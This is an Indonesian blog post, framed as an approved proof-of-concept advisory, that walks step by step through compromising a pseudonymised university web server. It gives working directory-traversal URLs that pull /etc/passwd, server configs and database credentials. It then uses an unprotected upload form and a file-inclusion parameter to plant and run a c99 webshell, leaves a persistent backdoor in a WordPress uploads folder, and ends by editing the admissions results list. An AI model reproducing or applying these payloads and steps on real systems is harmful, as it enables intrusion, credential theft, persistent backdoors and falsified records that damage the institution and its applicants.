Teknik Web Hacking

July 8

Artikel ini merupakan Proof Of Concept (POC) dari teknik web hacking. Keseluruhan isi artikel ini merupakan Advisory yang telah disetujui oleh Admin selaku penanggung jawab dari website tsb.

Al-Mansyurin IT

Teknik Web Hacking beserta Proof Of Concept

Pada pertengahan MEI tahun 2011 kemarin, tepat pada gencar-gencarnya Pendaftaran Mahasiswa Baru pada seluruh PTN di Indonesia. Banyak dari teman-teman SMK saya yang mendaftar ke berbagai PTN, baik melalui jalur PMDK ataupun Ujian Tertulis. Dan yang melalui jalur PMDK, hanya yang memilih UNZA saja yang lulus seleksi. Saya pun penasaran, dan ingin melihat langsung pada website resmi <u>www.unza.ac.id</u>

Sesuai perjanjian saya dengan Admin dari website tsb sebelumnya, saya menyamarkan nama Universitas dan gambargambar POC di dalam artikel ini. Mengingat Universitas tsb memiliki peranan penting di Indonesia, dan nama baiknya pun sangat dijaga. Universitas tsb merupakan salah satu dari Universitas ternama di Jawa Timur. Sebut saja UNZA (nama samaran), dan memiliki website beralamatkan <u>www.unza.ac.id</u> (domain samaran).

Berikut tampilan utama dari website tersebut (7 Juni 2011),



http://www.unza.ac.id

Secara kasap mata, tidak kita sadari bahwa website dari Universitas sebesar itu memiliki hole (celah), yang menunggu untuk kita eksploitasi (^_^). Oke, sekarang dimanakah letak celah tersebut?? Berikut dalam advisory ini, akan saya bahas sampai tuntas.

Perlu diketahui sebelumnya, dengan saya post advisory ini di Internet, berarti advisory ini telah disetujui oleh admin UNZA. Dan artikel ini ditujukan untuk pendidikan semata!!

1. LOCAL FILE DISCLOSURE / DIRECTORY TRASVERSAL

Local File Disclosure / Directory Trasversal termasuk salah satu teknik hacking yang terjadi akibat kesalahan kode pemrograman oleh web developer dalam membuat website . Celah ini dapat dimanfaatkan oleh "Hacker" untuk menDOWNLOAD file apapun yang terletak di direktori manapun pada server tersebut.

Un	iversitas Nec	Opening images	T: (031) 8280009,8280803,8
		You have chosen to open	JI. T: (031) 7
	UT on www.teresac.id/m	Which is a: application/force-download from: http://www.force.ac.id What should Firefox do with this file?	
	🛛 agenda 🛚 🛛	⊙ Save File	
ipus	Selasa, 7 Juni 2011 Pagelaran Pengantin B (Glamorous of Bridal)	Do this gutomatically for files like this from now on.	

http://www.unza.ac.id/images

Pada website utama UNZA, ketika kita tambahkan kata "images" pada URL (Uniform Resource Locator) seperti diatas. Secara otomatis file "index.php" yang berada pada folder tersebut membuka "force-download" dan mengijinkan kita untuk menDONWLOAD file apapun dari server tersebut.

Celah tersebut tidak hanya terdapat pada halaman utama website UNZA saja, melainkan hampir seluruh Sub Domain dari server tersebut juga mengalami hal yang sama. Yang saya ketahui, terdapat dua celah LFD (Local File Disclosure), yaitu pada direktori "images" dan "docs".

Sebagai tambahan, ada salah satu sub domain UNZA yang menggunakan CMS Wordpress. Lebih tepatnya yaitu <u>http://fmipa.unza.ac.id</u>, mungkin hal ini dapat kita manfaatkan nantinya ③.

Okelah, sekarang bagaimana kalau kita coba naik ke direktori di atasnya, dan mencoba mendowload file lain yang lebih penting, file system misalnya. Kita anggap saja server UNZA menggunakan sistem operasi Linux, dan kita akan mendownload file "passwd" menggunakan teknik berikut.

	niversitas Nec	Opening passwd
with the second	Agenda Selasa, 7 Juni 2011 Pagelaran Pengantin B (Glamorous of Bridal)	You have chosen to open passwd which is a: application/force-download from: http://www.forme.ac.id What should Firefox do with this file? Open with @rowse Open with @rowse Open with @rowse
limiah h <mark>Chillen</mark>	D fakultas	OK Cancel

http://www.unza.ac.id/images/?../../../../../etc/passwd

Setelah kita tebak-tebak, dari satu direktori kemudian pindah ke direktori lain yang lebih atas. Ternyata file WWW dari homepage UNZA terletak di tujuh level dibawah direktori root. [Direktori root "/" adalah direktori teratas pada sistem operasi Linux]. Dan seperti yang terlihat diatas, file passwd pun dapat kita download.



Pada file tersebut, dapat kita ketahui bahwa pada server UNZA terdapat beberapa user yang memiliki akses shell. Di antaranya adalah **bpoer, soboparan**, **fmipa**, **pustaka**, **pgsd**, dan tentunya **root**.

File **passwd** sudah kita download, sekarang tinggal kita download file **shadow** yang menyimpan enkripsi password dari user tersebut. Dengan begitu kita dapat meng-cracknya menggunakan software ketiga seperti **John The Ripper.** Namun ketika saya coba mendownloadnya, tidak terjadi hal apapun, yang artinya file tersebut tidak dapat kita download. Hal ini disebabkan karna file **shadow** tsb hanya dapat diakses oleh super user (root). Mungkin ber-atribute 711. (-_-)

Yang penting, sekarang kita sudah tahu bahwa server UNZA tersebut menggunakan sistem operasi Linux. Namun yang tidak kita ketahui disini yaitu Distro apakah yang dipakainya. Untuk mengetahui hal tersebut, kita tinggal mendownload saja file yang menyimpan informasi tersebut, yaitu file "profile" berikut.

	iversitas 1
	🗉 profile - WordPad
	File Edit View Insert Format Help
fokampus Universitas Jembaga & UPT tasi Lembaga Nhasiswaan blikasikampus	<pre># \$FreeBSD: src/etc/profile,v 1.14.26.1 2008/11/25 02:59 # # System-wide .profile file for sh(1). # # Uncomment this to give you the default 4.2 behavior, w # information is shown in K-Blocks # BLOCKSIZE=K; export BLOCKSIZE</pre>

http://www.unza.ac.id/images/?../../../../../etc/profile

Dalam file **profile** tersebut, telihat bahwa linux yang digunakan adalah FreeBSD. Dengan begini, cara yang kita gunakan akan lebih spesifik lagi, yaitu khusus untuk distro tersebut saja. Pada keluarga BSD, terdapat suatu file yang mengatur "application start-up". File tersebut adalah **rc.conf**, yang berfungsi untuk memanajemen aplikasi, apakah akan dijalankan secara otomatis ketika start-up atau tidak.

Un	iversita	
		Trc.conf - WordPad
		File Edit View Insert Format Help
	www.une	# sysinstall generated deltas # Thu Sep 10 18:59:45 200 # Created: Thu Sep 10 18:59:45 2009
	D ager	# Enable network daemons for user convenience. # Please make all changes to this file, not to /etc/defaults/
	Selasa, 7	# This file now contains just the overrides from /etc/default defaultrouter="124.81.
s	Pagelaran R (Glamorous	hostname="sub downersecond: " ifconfig bce0="inet 124.81.
	D faku	keymap="us.iso" linux_enable="YES"
)	Fak. limu	sshd_enable="YES"
	Fak. Baha	ifconfig bce1="inet 192 netmask 255.255.255.0"
10000	Fak. Mater	hostname="sub dollared and and and and and and and and and an
	Fak. Ilmu	mysql_enable="YES"
	Fak. Tekn	apache22_enable="YES"

http://www.unza.ac.id/images/?../../../../../etc/rc.conf

Setelah kita buka, ternyata ada beberapa aplikasi yang enable/aktif. Diantaranya adalah :

- a. SSHd (Remote System)
- b. MySQL (Database)
- c. Apache22 (Web Server)

Dari data diatas, kita ambil salah satunya yang berhubungan dengan web server, yaitu Apache versi 2. Sekarang coba berfikir secara kreatif, dalam keadaan default aplikasi Apache22 memiliki file konfigurasi utama **httpd.conf** yang terletak dalam direktori **/usr/local/etc/apache22/httpd.conf** berikut.



Setelah kita pelajari lebih lanjut, ternyata dalam file tersebut ada pernyataan **Include** ke suatu file konfigurasi yang lain. Pernyataan **Include** tersebut merujuk ke file **httpd-vhosts.conf** yang mengandung informasi yang lebih penting lagi. Karena dalam file tersebut, semua informasi tentang Virtual Host disimpan.



http://www.unza.ac.id/images/?../../../../usr/local/etc/apache22/extra/httpd-vhosts.conf

Pada gambar diatas, adalah salah satu konfigurasi tentang Virtual Host untuk domain utama UNZA. Yang terletak pada direktori **/usr/home/soboparan/www1**. Tidak hanya itu, semua konfigurasi dari sub domain UNZA pun terdapat dalam file tersebut. Berikut saya rangkum agar lebih mudah :

No.	DocumentRoot	ServerName	Note
1	/usr/home/soboparan/apps	apps.unza.ac.id	Maintenance
2	/usr/home/soboparan/http_docs	humas.unza.ac.id	
		p4.unza.ac.id	
		puskom.unza.ac.id	
		perpustakaan.unza.ac.id	
		baak.unza.ac.id	
		bauk.unza.ac.id	
		mpkk.unza.ac.id	
		lemlit.unza.ac.id	
		pusatbahasa.unza.ac.id	
		lpm.unza.ac.id	
		unipress.unza.ac.id	
		pjm.unza.ac.id	
		ulp.unza.ac.id	
		sg.unza.ac.id	
		fik.unza.ac.id	
		asrama.unza.ac.id	
		seminarkimia.unza.ac.id	
3	/usr/home/soboparan/cv	cv.unza.ac.id	
4	/usr/home/soboparan/intra	intra.unza.ac.id	
5	/usr/home/soboparan/blog	blog.unza.ac.id	Empty Directory

Directory WWW of UNZA Server

б	/usr/home/soboparan/bk	bk.unza.ac.id	
7	/usr/home/soboparan/www1	www.unza.ac.id	
		fip.unza.ac.id	
8	/usr/home/soboparan/pmb	pmb.unza.ac.id	
9	/usr/home/fmipa/www	fmipa.unza.ac.id	Wordpress
10	/usr/home/pustaka/www	pustakapendidik.unza.ac.id	Other CMS
11	/usr/home/soboparan/https_docs	secure.unza.ac.id	Maintenance
		www.unza.ac.id/secure	

Sebagai tambahan, semua file LOG dari Virtual Host diatas diletakan dalam direktori /usr/home/soboparan/log. Mungkin hal ini dapat kita manfaatkan nantinya jika server tersebut juga vulnerable terhadap serangan LFI. Tapi apakah mungkin server dari Universitas sebesar itu memiliki banyak sekali celah, hemm (-_-) ???

Okey, target utama kita disini adalah homepage UNZA. Jadi kita fokuskan pada direktori www1 seperti tabel diatas. Keuntungan dari celah LFD / Force-Download ini adalah, kita diperbolehkan untuk mendownload file atau bahkan FOLDER sekalipun. Dan FOLDER yang telah kita download tersebut menyimpan sebuah informasi yang tertulis dalam format HEXA seperti gambar di bawah ini. Informasi tersebut adalah listing directory.



http://www.unza.ac.id/images/?../../../../usr/home/soboparan/www1

Keuntungan lain dari LFD ini adalah kita dapat mendownload file yang berekstensi PHP dengan menambahkan NULL BYTE INJECTION (%00) di belakang URL.

Sebenarnya, file utama index.php dari direktori www1 tersebut berisikan script berikut,

```
<?php header('location:home'); ?>
```

Maksud dari script diatas adalah, ketika file index.php diload, maka akan otomatis redirect ke lokasi home. Nah, lokasi home ini sendiri bukanlah folder, melainkan rujukan yang menuju ke file index_unza.php dan infomasi tersebut terdapat pada file .htaccess

Setiap web server yang berbasis Database, pasti memerlukan user dan password dari DB tersebut untuk dapat memanajemen dan meng-update data yang ada. Dan informasi penting tersebut tentu disimpan di dalam suatu file, yang berekstensi PHP pula. Contohnya yaitu file wp-config.php yang terdapat pada CMS Wordpress. Nah, sebelumnya kita sudah membahas bahwa sub domain FMIPA juga menggunakan wordpress, hayho!! Dengan begitu kita bisa langsung mendownload file tersebut dari direktori fmipa, benar kan??

Namun, untuk saat ini kita akan memfokuskan pada halaman utama server UNZA saja.

🗉 indexphp - WordPad	
File Edit View Insert Format Help	
D 🛩 🖬 🚑 🗛 🔏 🖻 🏙 🗠 💁	
<pre><? // session_start(); if (\$_SERVER['HTTP_HOST']=="ac.id") Header (include "common.php";</pre></pre>	"Locatio
<pre>\$db_ = @mysql_connect(\$dbhost,\$dbuser,\$dbpasswd);</pre>	
<pre>include "setting.php"; include "function.php"; ?></pre>	

http://www.unza.ac.id/images/?../../../../usr/home/soboparan/www1/index_unza.php%00

Dalam file **index_unza.php** di atas, terdapat perintah **include** yang merujuk pada file **common.php**, dan kemudian diikuti perintah untuk koneksi ke dalam Database. Jadi bisa kita simpulkan, bahwa file **common.php** menyimpan informasi penting tentang database tersebut. Okelah, sekarang kita lihat file tersebut.



http://www.unza.ac.id/images/?../../../../../usr/home/soboparan/www1/common.php%00

Hemm... (^_^), kog mudah sekali yah? Informasi sudah di depan mata begini. Sekarang tinggal kita coba masuk ke dalam Database tersebut melalui server luar. Dalam hal ini, kita dapat menggunakan "MySQL Web GUI Manager" seperti halnya PhpMyAdmin untuk memudahkan kita dalam memanajemen DB tersebut.

Namun apa yang terjadi, ketika saya mencoba LogIn ke MySQL Server UNZA, ternyata muncul pesan **Error 101** terus menerus. Begitu pun dengan database untuk sub-domain yang lainya. Ternyata hal ini disebabkan karena adanya firewall (**rc.firewall**), yang tidak memperbolehkan akses ke MySQL Server melalui komputer selain Localhost atau Ip Address tertentu. Waduh, ternyata Adminnya lebih hebat ini, jadi malu saya (^_^).

Sekarang dapat kita simpulkan, bahwa **"Akses Database hanya dapat dilakukan melalui komputer Localhost".** Berbekal prinsip, bahwa tidak ada sistem yang 100% aman. Saya terus mencoba untuk mempelajari file-file PHP yang digunakan oleh server UNZA, dengan menggunakan metode LFD di atas. Maaf sebelumnya kalau saya sudah lancang.

Dan akhirnya, saya pun menemukan suatu file yang rentan terhadap serangan XSRF.

7

2. REMOTE XSRF (Cross Site Request Forgery)

XSRF (Cross Site Request Forgery) adalah suatu celah yang terjadi karena kurangnya pengamanan pada suatu file yang memproses form tertentu. Sehingga kita dapat melakukan request ke file action tersebut, dengan form yang telah kita modifikasi sebelumnya. Sedangkan kata REMOTE di atas maksudnya adalah, kita dapat melakukanya melalui komputer luar yakni selain localhost.

📄 Al-Mansyurin Informatika > Log In 🔛 🚺 Univ	versitas Alfyritation (199	Universitas August Rosalinge	Por 🚻
intra 🗶 👀 asid		Intra Komunikasi	Civitas Aka
	BLOG ILMIAH		
ID : Pass : login Gunakan Browser : - Mozilla Firefox - MS Internet Explorer	rriculum Vit	ae	

http://intra.unza.ac.id

Celah tersebut terdapat pada sub-domain INTRA, dan file yang rentan tersebut bernama **file_bank.php** yang memiliki fungsi untuk meng-upload file ke dalam server UNZA. Berikut bagian dari script tersebut yang rentan terhadap XSRF.

43	þ	
44		<div class="item_1"> Upload File:</div>
46		<form <="" action="file_bank.php?t=<?=\$_GET(h)?>&h=c?=\$_GET(h)?>" method="post" name="f_entry" td=""></form>
47	白	ENCTYPE="multipart/form-data">
48	E I	
49		<input class="textinput" name="u source" size="50" type="FILE"/>
50		<input class="btn" name="button" type="submit" value="upload"/>
51	-	
52	-	
53	11	
54	-	

http://www.unza.ac.id/images/?../../../../../usr/home/soboparan/intra/file_bank.php%00

Karena kurangnya pengamanan di awal script, maka kita bisa memanfaatkan form tersebut di atas untuk mengupload file. Sekarang kita copy script yang kita block diatas, dan kemudian paste di Text Editor. Khusus pada bagian **action**, tinggal kita tambahkan alamat dari file tersebut seperti berikut,

action="http://intra.unza.ac.id/file_bank.php?t=<?=\$_GET[h]?>&h=<?=\$_GET[h]?>"

Setelah selesai, tinggal simpan dengan extensi HTML. Dan form tersebut siap untuk kita jalankan.

http:/	//www	/.almansyurin.web.id/upl.php	+	•
	÷			
	6	ngs\Manshurin\Desktop\Dokumentasi		

Pertama kali yang kita upload ke server tersebut adalah Webshell, dengan begitu akan lebih memudahkan kita dalam memanajemen server tersebut via HTTP. Oke, webshell berhasil diupload, sekarang kita coba jalankan melalui web browser seperti berikut.

http://www.unza.ac.id/c99.php

Oppss, muncul pesan error 404, yang menandakan file c99 tersebut tidak berada pada direktori tersebut. Jadi apakah file tadi berhasil kita upload atau tidak ..?? Agar tidak menjadi penasaran, mari kita lihat ulang scripts dari file **file_bank.php** di bawah ini.

8

```
UPLOAD
60
      $txterror="";
61
    fif ($_POST[button]=="upload" and $_FILES['u_source']['size']>0) {
62
         // SETING
63
         // switch (ext($_FILES['u_source']['name'])) {
64
         $folder=get_folder();
          Sset filesize=102400000; // 100 MB
65
66
          $set_dir=$dir_web_storage_cv."/".$folder;
          $u_filename=ereg_replace(" ", "_", $_FILES['u_source']['name']);
67
```

Pada baris 59, terdapat script yang berfungsi untuk memproses form Upload di atas. Ternyata setelah kita upload, file tersebut tidak ditempatkan pada direktori yang sama dengan web server. Saya akui, baru kali ini saya melihat teknik seperti ini, yaitu **"Direktori Upload dipisahkan dari Direktori Web Server**", kreatif juga (^_^).

Sekarang kita lanjutkan, file tersebut akan diletakan pada direktori **\$dir_web_storage . "/" . \$folder** di atas. Nah, sekarang kita cari tahu, berapakah nilai dari variable **\$dir_web_storage** tersebut. Setelah kita amati lebih dalam, ternyata nilai dari variable tersebut tidak terdapat dalam file **file_bank.php**. Melainkan terdapat pada file lain, yang di-include pada awal scripts.



Sekarang kita lihat isi dari file setting.php tersebut.

```
jif (Shost=="127.0.0.1") {
        Sdir web="D:\wamp\www\ari\ _____ intra";
 6
 7
        $dir_web_storage="$dir web\web_storage_intra";
 8
        $dir_web_storage_cv="D:\wamp\www\ari\@web_storage_cv";
        ini_set('display_errors', 'On');
 9
10
      ini_set('error_reporting', E_ALL & ~E_NOTICE);
1.1
      } else {
       $dir_web="/usr/home/soboparan/intra";
12
      $dir web storage cv="/usr/home/soboparan/web storage cv";
13
14
        ini_set('display_errors', 'On');
       ini_set('error_reporting', E_ALL & ~E_NOTICE);
15
16
```

Yap, itulah nilai dari variable **\$dir_web_storage.** Sedangkan nilai untuk variable **\$folder** sendiri, didapat melalui fungsi **get_folder()**, yang mengeluarkan output tahun dan bulan pada saat itu. Jadi dapat kita simpulkan, jika kita meng-upload file tersebut pada bulan juni, maka direktori file tersebut akan seperti di bawah ini.

$/usr/home/soboparan/web_storage_cv/201106/c99.php$

Jika file webshell terpisah seperti di atas, lalu bagaiman cara kita menjalankan file tersebut secara langsung?? Karena file tersebut tidak berada pada direktori web server, yang artinya tidak di bawah domain unza. Berarti sampai di sini usaha kita sia-sia donk??

Tunggu dulu, file di atas dapat kita jalankan jika server UNZA juga rentan terhadap serangan LFI. Namun, apakah benar server dari Universitas sebesar itu memiliki celah yang kompleks?? Kedengaranya itu hal yang mustahil (-_-), tapi memang itulah kenyataanya.

3. LOCAL FILE INCLUSION (LFI)

Local File Inclusion (LFI) termasuk salah satu teknik web hacking yang mempunyai fungsi untuk meng-Include file apapun yang berada di dalam server (local). Jika file tersebut berupa PHP, maka scripts yang ada di dalamnya akan dicompile dan dijalankan. Tidak hanya itu, celah ini juga dapat meng-Include file selain PHP, asalkan file tersebut dapat dibaca oleh Web Browser kita.

Cerobohnya lagi, celah itu malah terdapat pada file utama dari website UNZA (**index_unza.php**). Hal itu terdapat dalam parameter <u>http://www.unza.ac.id/?s=inclusion-here</u>. Berikut contohnya kita meng-Include sebuah file dari dalam server.



http://www.unza.ac.id/?s=../../../../../usr/home/soboparan/www1/uts.html%00

Dengan begitu, kita dapat langsung meng-Include file webshell (c99) yang telah kita upload ke dalam server pada kesempatan sebelumnya. Dan berikut hasil yang muncul pada web browser saya. ;-)

og In 😈 🔯 arreste arreste	an a		8	Portal description description of the	
	Info Designmente	Namelac	Size	Modify Owner/Gro	Prims Action
	tino Pendanaran Manasiswa		LINK	27.05.2011 00:08:431002/0	drwww-w-wr-ic//o
	Baru Onesa Tahun Akademik		LINK	19.05.2011 15:21:16 1002/0	denne-se-state
	2011/2012		DIR	24.02.2011 07:51:170/0	drwxr-xr-x0=to
	PUSAT BAHASA UNESA TIDAK		DIR	25.11.2010 02:15:07 1002/0	drwxr-xr-x0//o
	MELAVANI JEJAL RELENEAL		DIR	10.12.2010 07:28:081002/0	drwaar-aar-acado
	TED		D1R	25.11.2010 02:15:011002/0	drwser-ser-sc/rfg
	107		DIR	14.12.2010 10:35:091002/0	drwxr-xr-x0/fo
	Test of English Proficiency		DIR	30.01.2011 03:21:271002/0	drwxr-xr-x0//o
	sebagai Salah Satu Syarat		DIR.	30.01.2011 08:07:301002/0	drwxr-xr-x010
	Yudislum		DIR	15.12.2010 01:14:451002/0	drwser-ser-schile
	Value day Blademik 3010/2011		DIR	20.12.2010 02:12:461002/0	drwser-ser-schio
	Fallender Akagemik 2010/2011	[module]	DIR	10.04.2011 05:45:001002/0	drwxr-xr-x(//o
	ED touton		DIR	20.12.2010 03:25:591002/0	drwxr-xr-x(n/o
	Lo tautan		DIR	14.12.2010 11:22:241002/0	drwser-ser-sc/do
			DIR.	08.12.2010 04:12:191002/0	drwwr-wr-x0+fo
	Kemendiknas		DIR	25.11.2010 02:15:351002/0	drwwr-wr-w0/70
	SNMPTN		DIR	25.11.2010 02:15:571002/0	drwwr-wr-world
	Distan Deputition Timori		1.62 KB	01.03.2011 18:36:281002/0	-rw-rr trio Change Download
	Content v Endederant Langy		3.4 KB	30.08.2004 12:16:50 1002/0	-rw-rr Info Change Download
Inda	Indonesia Mengajar		100 B	25.11.2010 09:22:151002/0	-rw-rr Info Change Download
unio	Info Kerja Jatim		1.12 KB	10.12.2010 10:06:121002/0	-re-r bits Charge Download
Pendaftaran	Contraction of the second seco		15.2 KB	24.02.2011 15:02:321002/0	-rw-rr Info Change Download
Mahaciewa Barro		mages (and php	1.64 KB	27.11.2010 11:06:371002/0	-rw-rr Info Charge Download
unanasiswa banu		nder pro	37 B	04.11.2010 15:26:551002/0	-rw-rr Izfo Changs Download
In the second se		indexphp	23.2 KB	20.05.2011 00:51:361002/0	-rw-r-r- D/b Change Download
and the second se		son read bents unt pho	612 B	01.01.2011 22:30:231002/0	erwerveren Info Change Download
SNMPTN2011		jumai-tenglateSp	37.5 KB	27.05.2011 07:09:051002/0	-metrer 1/10 Change Download
Maked Mariness Works Programme Vinger Respirit		key pro	725 B	15.01.2011 22:57:411002/0	-rw-rr Info Change Download
		restrict php	339 B	19.08.2010 16:02:321002/0	-rw-rr bito Change Download
No. of Concession, Name		restrict_page.cho	390 B	02.12.2010 15:40:44 1002/0	-rw-rr Info Change Download
		135.070	1022 B	01.03.2011 18:42:521002/0	revenue Info Change Download
		setting pho	2.15 KB	30.04.2011 10:45:151002/0	-rentrement of the Change Download
		setting_ort.php	2.1 KB	25.11.2010 19:02:271002/0	-met-t Info Change Download
Patigram Mahassiwa Watassaha		sobo_detect_browser.php	328 B	04.02.2011 17:19:511002/0	-rw-rr Info Charge Doveload
		oft ten, wirt, odor	631 B	14.02.2011 00:51:321002/0	revenue Info Charge Download
more and the second sec		tes_berta.php	16.8	24.01.2011 17:38:061002/0	-rw-rr Izfo Change Download
CONTRACTOR OF A PL			23.04.61	656 AX 5041 10-56-4E1065/A	and a reason but a standard and and

http://www.unza.ac.id/?s=./././././usr/home/soboparan/web_storage_cv/201106/c99

Kita tidak perlu menambahkan extensi PHP dari file c99 tersebut, karena extensi tersebut akan ditambahkan sendiri oleh script pemrograman pada web tersebut. Jika belum faham, berikut contoh simpelnya.

include ``\$_GET[s]" . ``.php";

Walaupun tampaknya file c99 telah berhasil dengan sempurna, namun setelah saya coba jalankan, ternyata mengalami masalah. Masalahnya dalam hal ini adalah adanya dua tanda question mark (?) pada URL. Yang pada akhirnya, tanda question mark ke dua akan dihilangkan.

http://www.unza.ac.id/?s=../../../../../../usr/home/soboparan/web_storage_cv/201106/c99?act=ls

URL tersebut akan dirubah secara otomatis oleh web browser menjadi seperti berikut,

http://www.unza.ac.id/?act=ls

Pada akhrinya muncullah pesan error pada layar kaca anda, hemm (-_-). Sebenarnya, inti dari masalah ini adalah, file PHP tidak dapat men-Include file PHP lain yang sedang dieksekusi menggunakan method GET. Karena dalam method GET, data dikirim melalui URL. Oleh karena itu, file c99 saya disini tidak dapat dijalankan, sebab pada keadaan default file ini menggunakan method GET untuk mengirim/menerima data ke server.

Masalah ini pun dapat kita akali, kita dapat mengirim data menggunakan method yang lain, yaitu method POST. Method POST ini mengirim datanya melalui HEADER, dan tidak akan ditampilkan pada URL. Baik, dari sini kita dapat memodifikasi file c99 kita agar bekerja menggunakan method POST. Atau bisa saja kita langsung mencari file webshell lainya yang support method tersebut dari Internet, iya kan? Kemudian kita bisa menjalankanya setiap saat melalui inclusion yang panjang tersebut.

Tidak seperti itu, tentunya kita akan sulit mengingatnya jika harus menggunakan Inclusion yang panjang seperti di atas. Sekarang akan kita buat backdoor yang lebih mudah dan simple. Caranya adalah kita harus meng-Upload file webshell tersebut ke dalam direktori virtual host (WWW).

Pertama, kita buat UPLOAD SCRIPT dari PHP seperti berikut,



Kemudian file di atas kita upload menggunakan celah REMOTE XSRF sebelumnya. Lalu dapat kita jalankan menggunakan celah LFI. Selanjutnya, berbekal file tersebut, kita upload lagi file webshell ke dalam server UNZA. Namun dalam hal ini, lokasi direktori kita tempatkan di bawah Virtual Host.

		K Ji, Ketinta Ti (031) 8280009,8280803,8280
🔁 shel		JI. [Jd] T: (031) 7532
C 99.cho Coan.cho e deface deface-lat R GARUDA	Ion Mahasiswa Baru F Directoy Target	pa/wp-content/uploads/
e hak.	Exploit File :	UTER]\shell\cpan php Browse.
minimenus.php minipost.php pass354 11:57.php thel	Copyleft	Send File D 2011 <u>Al-Mansyurin Informatika</u>

Sekarang kita coba lagi untuk mengUpload webshell, karena tool ini merupakan peralatan utama dalam web hacking. Ketika saya Upload, ternyata tidak selancar yang saya kira. Dalam hal yang sesederhana ini pun saya mengalami masalah, bahkan butuh satu hari bagi saya untuk menemukan masalah tersebut. Ternyata hal ini sepele, kesalahan tersebut terjadi sebab file tidak dapat kita upload ke direktori **www1** dari website utama UNZA. Yang dikarenakan permission pada direktori tersebut tidak writeable untuk user **www** (web server application).

Saya coba mencari-cari direktori yang full access, namun dimanakah direktori yang memenuhi kriteria tersebut?? Karna akan kesulitan bagi saya untuk memeriksa satu per satu dari seluruh sub domain UNZA.

Coba kita beralih ke sub domain yang lain, yang mungkin tidak asing bagi kita (^_^). Yap, ada salah satu sub domain yang memakai wordpress kan? Yaitu **fmipa.unza.ac.id** sebelumnya. Kalau kita perhatikan, setiap website yang kompleks seperti wordpress, akan menyimpan file yang diupload oleh user ke suatu direktori. Nah, direktori inilah yang tentunya writeable oleh user **www** (web server application). Secara default wordpress menyimpanya di **wp-content/uploads**.

Kali ini kita coba mengarahkan ke direktori tersebut. Selanjutnya kita coba mengujinya melalui web browser ke alamat <u>http://fmipa.unza.ac.id/wp-content/uploads/c99.php</u>, dan alhasil berikut yang muncul,

Al-Mansyurin Informatika > Log In				10
	40	3tShell v. Emp3	ror Unvester 418	
Software: Apache/2.2.9 (Freel uname -a: FreeBSD subdomain 2009 root@logan.cse.buffalo.e uid=80(www) gid=80(www) gr Safe-mode: DFF (no secure) /ww/bone/Tmbb/www/wp-conten Free 44.8 GB of 127.41 GB (35 ☆ ← → ஹ @ @ @	B5D) mod_ssl/2.2.9 Open5SL/0.9.6 du:/usr/obj/usr/src/sys/GENERI oups=80(www) R/uploads/ drawarwarwa 16%) Encoder Tools Proc. FTP	brute Sec. SQL PHP-code Lip	Patch 7:25 UTC date Feedback Self remove Lagout	
		0**	ned by Spyn3t	
		Listing folde	r (3 files and 4 folders):	
Name A	Size	Modify	Owney/Group P	ernos.
	LINK	03.06.2011 13:47:24	1003/1003 0	
	LINK	30.11.2010 09:53:37	1003/1003 d	war-w
[2020]	DIR	05.12.2010 07:50:46	1003/1003 d	
[2011]	DIR	01.06.2011 07:31:35	60/1003 d	
(cons)	DIR	30.11.2010 05:27:57	1003/1003 d	
(weaver-subthemes)	DIR	06.12.2010 11:55:23	1003/1003 d	
c99.php	102.63 KB	03.06.2011 13:24:47	80/1003	
(pan.php	419.27 KB	03.06.2011 13:47:24	60/1003	
A hisk, head	11.65 × 0	03.06.2011 13:30:01	80/1003	
		:: Cor	mmand execute ::	
	Entera	Databa		Se
		Execute		

Oke, sekarang backdoor sudah tertanam, dan dapat kita kunjungi sewaktu-waktu dengan mudah.

4. DATABASE MANIPULATION

Pada bagian sebelumnya telah kita bahas bahwa "Database Server pada UNZA hanya dapat kita akses melalui LOCALHOST". Kelihatanya hal itu akan mustahil jika kita lakukan pada sesaat yang lalu, namun dengan tertanamnya webshell, semuanya berubah menjadi 180 derajat.

Kita dapat langsung masuk ke Database melaui fitur yang disediakan oleh C99 ini. Namun menurut saya fitur yang dimiliki C99 kurang efektif dan efisien. Saya lebih cenderung menggunakan tool **Adminer** (Web GUI MySQL Manager), yang dalam pengoperasianya hampir sama persis dengan **PhpMyAdmin**. Ini bukan berarti saya seorang yang tergantung pada tool, tapi apa salahnya jika kita memanfaatkan fasilitas yang sudah ada, bahkan yang lebih cepat dan praktis, iya kan??

Lanjut, berbekal user dan password database yang kita peroleh sebelumnya, kita coba LogIn melalui tool Adminer. Bedanya kali ini adalah kita melakukan koneksi tersebut **Langsung melalui komputer LOCALHOST!!**



Terlebih dahulu kita harus memasukan tool Adminer tersebut ke server UNZA, agar konsep LOCALHOST tersebut dapat sukses berjalan. Sedikit berbeda, kali ini kita langsung mengUpload file tersebut menggunakan webshell C99, yang langsung mengirimnya ke direktori uploads dari fmipa.

Berikut tampilan dari tool tersebut,

Google Terjemahan 🚮 FB		
Al-Mansyurin Informatika > Log In 🔛	Conception of the participation of the second s	an and a state of the state of
anguage: English		
Adminer 3.2.2	Login	
	System	MySOL ¥
	Server	localhost
	Username	This and the second
	Password	

Dengan memasukan informasi user dan password seperti di atas, maka hak akses dari Database tersebut menjadi milik kita.

Berikut saya akan menjelaskan dampak dari Database Manipulation ini. Kali ini saya akan merubah data informasi Penerimaan Mahasiswa Baru yang terdapat pada subdomain **pmb.unza.ac.id**, tentunya hal ini saya lakukan pada malam hari. Dan berikut hasilnya,

Dashboard - 📕 Facebook	Plughs + Al-M_ Edt P	sge < Al	Gallery Al-	M] Select: pnb o' Select: pnb (oʻEdki prob_d 🛛 🚮 👘 🗠 😣
I www.	id program ac.id		-		beranda
Uni Per	versitas nerimaan Mahasi	swa I	Baru		
Informasi dan Pengumuman Penerimaan Mahasiwa Buru Mahasiwa Buru	16 SNMPTN Undangan AKUNTANSI BIOLOGI FISIKA LMU ADMINISTRASI NEGARA	HASI	L SNMPTN	JALUR UNDANGAN 2011	
	EMU HURUM	No.	No. Tes	Nama	Jns. Kelamin
Penerimaan	ILMU KEOLAHRAGAAN KIMA KURIKULUM DAN TEKNOLOOI	1.	4110137748	Pudja Mansyurin	Laki-Laki
Berdasar	PENDIDIKAN	2	4110039388	AGUSTINA KUSUMA	Perempuan
Program	MANAJEMEN	3.	4110207253	AGUSTI RANDI SUKRON	Laki-Laki
Studi	MANAJEMEN PENDIDIKAN	4.	4110004362	AHMAD ASY'ARI	Laki-Laki
	D BAHACA DAERAH (1814/A)	5.	4110116246	ALLEN ARISZONA	Laki-Laki
	P. BAHASA DAN SASTRA	6	4110078589	Amalia Firdha	Perempuan
	NOONESIA	7.	4110166185	ANDRIAN RISKY RAHMAN	Laki-Laki
